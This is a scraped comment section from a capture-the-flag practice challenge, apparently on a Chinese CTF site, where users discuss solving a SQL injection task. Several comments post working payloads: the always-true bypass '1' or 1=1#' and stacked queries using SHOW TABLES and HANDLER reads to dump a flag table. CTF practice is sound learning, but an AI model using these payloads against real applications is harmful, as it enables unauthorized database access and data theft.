评分(14)
解题动态
蛋黄 攻破了该题 13小时前
xiaoshi196 攻破了该题 15小时前
xiaoman 攻破了该题 16小时前
光Hikari 攻破了该题 21小时前
luze 攻破了该题 1天前
f发条橙1515 攻破了该题 3天前
AsadaSinon 攻破了该题 3天前
Lapis 攻破了该题 3天前
mahiru 攻破了该题 4天前
Kur0Ai1uro. 攻破了该题 4天前
levelk007 攻破了该题 4天前
xiaotongzhi 攻破了该题 5天前
1075220327 攻破了该题 5天前
vb嘎嘎 攻破了该题 6天前
兄弟不要颓废 攻破了该题 6天前
sometims 攻破了该题 6天前
bugkubxl 攻破了该题 7天前
jwleft 攻破了该题 7天前
zyf11111 攻破了该题 8天前
评论
xiaoman 16小时前
举报
id直接输入bugku，就可以出flag了
乔qiao 1月前
举报
逗我呢 万能密码直接出？我还一个一个注入无敌了，坑我五个币
lover 1月前
举报
1' or 1=1#
我的刀盾 1月前
举报
研究了一下，本题有万能钥匙确实意外之喜，用fuzz测试可以看过滤的函数或字符，可以用布尔盲注，burp进行爆破。看评论还有堆叠注入。
bugkuaccount3214 4月前
举报
非预期解啊同志，我测是否有注入直接把真假flag一块爆出来了……
极品老学生 4月前
举报
关于万能密码《1' or 1=1#》的故事
shrinp 7月前
举报
(1)万能密码的使用-》 1' or 1=1;#-- (2)堆叠注入的使用-》 1';show tables;show columns from flag; handler flag open;handler flag read first;handler flag read next;
奔跑的开开 10月前
举报
1' or 1=1#
一个姓⎝李⎠的师傅~ 1年前
举报
2 个小时，从试错 sqlmap 原理到万能密码以及原理！ 最重要的是手动注入，绕过，堆叠查询，以及表名 flag 到底怎么知道的！ 一篇文章全给你讲明白： https://www.yuque.com/u21437924/ap9vtm/gqkc3dcfmfpe5p85?singleDoc#k12At
wywsssf 1年前
举报
万能钥匙应该是意外，这个才是本意吧 ?id=1';handler flag open as a;handler a read next;handler a read next;handler a read next;handler a read next;handler a read next;handler a read next;handler a read next;